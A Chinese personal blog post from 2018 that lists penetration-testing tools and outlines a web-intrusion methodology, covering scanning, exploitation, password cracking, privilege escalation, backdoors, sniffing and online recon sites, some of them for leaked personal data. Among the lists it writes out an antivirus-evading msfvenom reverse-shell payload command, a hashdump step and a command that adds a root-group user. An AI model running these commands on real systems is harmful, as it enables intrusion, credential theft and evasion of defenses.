虽然那篇文章，个人写的很早，有一些知识点也没有提到，但目前也不准备加了
有兴趣可以看看：
http://47.106.140.244/2018/08/%E5%B7%A5%E6%AC%B2%E5%96%84%E5%85%B6%E4%BA%8B%EF%BC%8C%E5%BF%85%E5%85%88%E5%88%A9%E5%85%B6%E5%99%A8/

再把那篇文章主题部分 copy 过来：

一. 综合扫描：

1.nikto（kali 自带）

误报太多了

2.paros（kali 自带）

3.awvs（有破解版可下载）

扫描不是很全面

4.w3af

很强大，同理，越是强大的越不好掌握

1）windows 下安装

链接：http://pan.baidu.com/s/1jH6Wq0Y

密码：rpwl。

2）linux 下安装（报错比较多）

https://blog.csdn.net/weixin_37224075/article/details/78215791?locationNum=10&fps=1

http://www.freebuf.com/column/145984.html

5.Nessus （功能更强大收钱，1200 刀每年，有免费，所以功能不消说）

6.golismero （工具标记的是 2011~2014 年），一般的信息采集吧，是调用插件开始的，很久没有更新了；试了下，不是很好

7. commix 命令执行利用工具

8. httrack 是一个网站克隆攻击 他的爬虫非常相似谷歌的爬虫

9.Skipfish 是一个命令行模式，以 C 语言编写的积极的 Web 应用程序的安全性侦察工具，没有代理模式。 它准备了一个互动为目标的网站的站点地图进行一个递归爬网和基于字典的探头

10. WebScarab （kali 自带）

11.WebInspect （不清楚）

12.OWASP ZAP （kali 自带）

13.AppScan

14.Safe3 Scanner （不清楚）

15.一篇介绍 web 工具的文章

http://www.91ri.org/5901.html

16.awvs（有破解版，又是那位大神破解的）

17.56 款，选自己喜欢的，博主只是收集在此

http://www.52bug.cn/hacktool/5300.html

18.网站安全扫描工具–Netsparker

19.nexpose

20.openvas

21.OWASP Zed Attack Proxy

22.Wapiti

23.硬件渗透测试平台——Power Pwn

24.Android 渗透测试工具——zANTI(汉化版)

25.自动化渗透测试工具——Heybe

26.渗透测试软件 Cobalt Strike Windows 版破

27.http://netsecurity.51cto.com/art/201408/448273.htm

28.火狐浏览器的插件

http://netsecurity.51cto.com/art/201308/408850.htm

29.RouterSploit — 路由器漏洞利用框架

30.retire.js — 扫描 JavaScript 库漏洞

31.介绍工具的网站：http://az0ne.lofter.com/post/31a51a_131960c

32.介绍工具的清单：
https://www.ctocio.com/top%E6%B8%85%E5%8D%95/25005.html

33.beff 框架

34.msf

35.set

36.渗透工具速查表：
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/

二. 目录和端口扫描

1.dirb（kali 自带，目录的扫描，个人目前用的它，可以自定义字典；更重要的是，**可以限速（养成个好习惯，方便自己学习的时候，也不要给别人带来麻烦）**）

2.wwwscan （目录扫描，没有用过，看了大多教程都在用，提出来）

3.nmap （不光有端口的扫描，还有脚本进行漏洞扫描，附带目录扫描，附带弱密码爆破）

4.masscan （端口的 ping 快速扫描端口，masscan -p0-1000 ip –rate=10000）

5.arp-scan -l （局域网快速扫描端口（防火墙不禁局域网主机 arp 扫描，网络层））

6.wifi 扫描 Aircrack-ng

7. burp suit web

三. 针对特定漏洞的检测利用

1.wpscan （针对 wordpress 的，主要是检测插件漏洞，反正博主博客就是上线就更新）

2.sqlmap （sql 注入神器）

3.magescan ― 针对 Magento（一个商城系统）的扫描器（https://github.com/steverobbins/magescan）

4.poc300 的检测工具（cms） https://github.com/Lucifer1993/AngelSword

5.https://github.com/ChrisJohnRiley/Scythe 镰刀框架 – 一个帐户枚举工具

6.制作免杀图片工具 https://github.com/klionsec/Invoke-PSImage

7.xsser （kali 直接安装）

四. 密码爆破

1.hydra（爆破神器，各种情况下的爆破，前提是对应字典够强）

2.MD5Crack3（md5 爆破，其实在线查效率更高，有些 1 元一个密码）

3.webshell 的爆破（爆破别人留下的 shell）

4.john（kali 自带，可爆破各种情况，还在探究）

五. 提权之路

0. 参考：
http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/5258.html

whoami
tasklist /svc

是安全狗，只要是默认的设置，找个可读可写可执行的目录上传一个 net.exe 即可。但是云锁在这方面要比安全狗高明一点，你无论传到哪个目录都是不可以被执行的

getpassword 的 exp 在执行过程中会被拦截。

进行：

1.msfvenom -a x86 –platform win -p windows/meterpreter/reverse_tcpLHOST=xxxxx LPORT=xxxx -e x86/shikata_ga_nai -i 5 -f exe > /root/testtest.exe

2. upx -6 /root/testtest.exe（具体可参考作者其他文章）

3. msf 上 run hashdump

4.如果是安全狗的话去替换他保存计算机名的配置文件，但是云锁的话并没有这个操作

wevtutil.exe qe security “/q:*[System [(EventID=4624)]]”/f:text /rd:true /c:100 > c:\sys.txt（查找 log 文件）
远程登录的类型为 3，我们只需要查找类型为 3 的日志：

1. windows

1）gethashs，pudump（两款工具得到 hash，杀毒软件是当病毒杀的，太出名了，具体没有测试过）

mimikatz 工具 一键提取

2）ophcrack 破解 hash

http://ophcrack.sourceforge.net/tables.php （彩虹表下载，也没有试过）

3）还有款可以破解弱密码的软件，在前面博客中有提到，我一下也找不到了

2. linux 下

直接远程执行命令 添加一个用户 然后加入 root 组（echo “PASSWORD” | passwd –stdin USERNAME 命令
usermod -g root test，没有用过这个命令，网上说可能出错）

exp 提权

软件漏洞提权（没有试过）

ssid 提权（没有测试过）

如果可以，建议用后面两种，或者根本没有必要提权

3. 通用提权

web 环境下，php 的反弹提权

系统环境下，php，python，bash，perl 等语言的反弹提权

用神器 msf 生成一个 linux 后门，进一步拿下 ssh

六. 生成后门

本人也对此研究不深

1.msfvenom 生成的后门感觉迷惑性还不错，不过暂时没有找到可以免杀的制作方法

2.veil3.0，对本人来说，上手快，目前制作的免杀效果比前一种好一点

七. 内网渗透：

1.嗅探（一门简单而有用的技术）

cain，windows 下比较出名的一款工具，没有真正试过

aspspoof　kali 自带，进行 arp 欺骗的工具

wireshark

2.

内网，一般是系统层面上的漏洞

1）弱密码（你没有看错，系统内的防护都是很弱的）

2）系统漏洞

八. 在线扫描

原文：https://www.sec-wiki.com/topic/12

IP 查询

- dp_ip
- 17ce
- just ping
- Just-traceroute
- 站长工具
- BGP
- 20cn
- ip138
- ip866
- 123cha
- 淘宝 IP
- MyIP
- Plot IP
- IP 所属查询
- 全球国家 IP 地址段

端口扫描

- port-scan
- hackertarget

CDN 查询

- CDN Finder

二级域名

- Tools88 ****
- chinaz ***
- dnsdumpster

旁站查询

- You Get Signal ****
- robtex *****
- Myipneighbors
- Same IP
- aizhan ***
- 114best
- ip866
- dirs
- 3est ****
- C 段
- 4 Fucker

ICP 备案

- ICP 备案查询网

Whois

- who.is
- centralops ****
- whoissoft
- webmasterhome ***
- APNIC ****

Web 识别

- Website Analyzer
- Site Info Tool *****
- netcraft

社工库查询

- hxsgk
- weigongkai
- cnseu
- easyicon
- 9cha8
- id.td
- anquanbao
- 闪客库
- 查密码
- 查开房
- haveibeenpwned
- sou.im
- QQ 信息查询
- 开房记录查询
- QQ 群信息查询
- 社工库
- 社工库 1
- 乐盾社工库
- BugMeNot
- QQ 群信息查询
- 007

Email

- lullar

用户搜索

- 人立方
- AMiner
- yatedo
- spokeo
- corporationwiki
- NNDB
- beenverified

图片查询

- LeiTu Image Search
- Google
- TinEye
- 百度识图
- exif info

航班

- FlightAware

短信验证

- Receive SMS Online

博主所保存的：

ip 手工代理：http://www.goubanjia.com/

站长之家：http://ip.tool.chinaz.com/wwwstlxzx.com

查询网：http://site.ip138.com/

云悉：http://www.yunsee.cn/

爱站：https://dns.aizhan.com/

纯真 ip：http://www.cz88.net/

gpsspg：http://www.gpsspg.com/

钟馗之眼：https://www.zoomeye.org/

fofa：https://fofa.so/

shodan：https://www.shodan.io/

ip 百事通：http://www.114best.com/ip/

中国手机跟踪：https://www.showjigenzong.com/

nmap 在线扫描：http://nmap.online-domain-tools.com/

whatweb：https://www.whatweb.net/

google：www.google.com

九. 来自 freebuf 上的一个资源总结

http://www.freebuf.com/sectool/135151.html

1.

较喜欢的是弱密码和信息收集的脚本，

以及 xss 脚本，

觉得 webshell 的探测也不错，

web 指纹也不错，

其中的针对性的脚本也不错。

十. text404 的 2017 总结

http://www.test404.com/post-1228.html

web 渗透的思路

一. web 应用层面

其实一个小网站就那么点内容，稍微大点，也不是我等能干的了（目前而言，这些东西感觉就是水磨豆腐，久不久来一下，更倾向于写点代码。。。不是专门写代码哦）

1.信息收集，多了我就不跟读者扯了，在读我文章的，大多可能是学弟学妹，也不需要那么高深的（更主要的是我也不会收集。。。）

其中判断网站的类别，是不是网上的 cms 等公共搭建网站，如果是，找一下版本，再搜索对应版本漏洞；没有，基本可以放弃（当然也可以自己下载源码去审计（没有其他意思，能审计出漏洞的，都是师傅辈）），除非网站作者做了修改和扩展，可能扩展的有安全问题。

2.找一下注入点

多关注下 cookie 注入点（特别是管理员登陆的地方 cookie）和 reference

3.找一下上传点（很少见了，利用解析漏洞也不好使，jpg 后缀前面的所有全部重命名）

4.找一下 EWebEditor（很少见了）

5.找一下备份

6.找一下命令执行（难找的漏洞）

7.找一下 file=的文件包含（难找的漏洞）

8.找一下 xss（常见的漏洞，主流的漏洞）

9.简单密码爆破一波，bp 爆破；有验证码可以自己写，效果不是很好

10.c 端旁注，很多都是在旁站找问题

11.xxe

12.ssrf（暂时无研究）

13.xssi
（http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/5267.html）

XSSi 漏洞原理其实是这样的，它允许攻击者绕过原始边界窃取特定类型数据，利用了<script>标记的 src 属性来突破同源策略(SOP），也即在<script>标记中，浏览器不会阻止网页加载图像和文字等第三方资源

14.json 截断

15.后台：

http://www.52bug.cn/content/plugins/openlink/viewPage.html?url=http://www.freebuf.com/articles/web/174408.html

http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/5238.html

16.不安全的验证（越权）

17.点击劫持

18.子域名劫持

19.逻辑漏洞（如今的主流漏洞）

20.弱密码（真的挺不错的思路，不过会越来越少，不少产品现在都是强制修改强密码）

11.终极大杀招，owasp 上的漏洞对试试。

不过还是那句话，一个网站就那么大

先知上提交 web 漏洞类型：

xss

sql
命令
文件包含
任意文件操作
权限绕过
逻辑
存在后门
信息泄露
堆在溢出
内存破坏
整数溢出
释放后重用
类型混洗
沙盒绕过
本地提权
双重释放
url 跳转
csrf
xml 注入
ssrf
crlf
点击劫持

php 网站的话：

http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/5288.html（php 默认配置出错导致的问题）

http://www.php.cn/php-weizijiaocheng-388253.html （php 函数漏洞）

http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/5262.html（php 扩展留下后门，看不懂）

https://www.cnblogs.com/agang-php/p/5783789.html （php 网站一般漏洞）

java web（jsp）

1.stru2 的框架漏洞

login.do login.active index.active login.active

2.

jexboss

3.

weblogic

asp/aspx web（.net）

除常规思路无研究

二. 系统层面

除了对应漏洞，本人暂时也想不到能用什么突破

1.端口扫描好后，扫描对应漏洞

2.密码的爆破（这是本人不建议不提倡的，有这个时间多去做点其他事）

如果 ssh 没有锁定，可以考虑爆破（慢的可怕）

2018.8.18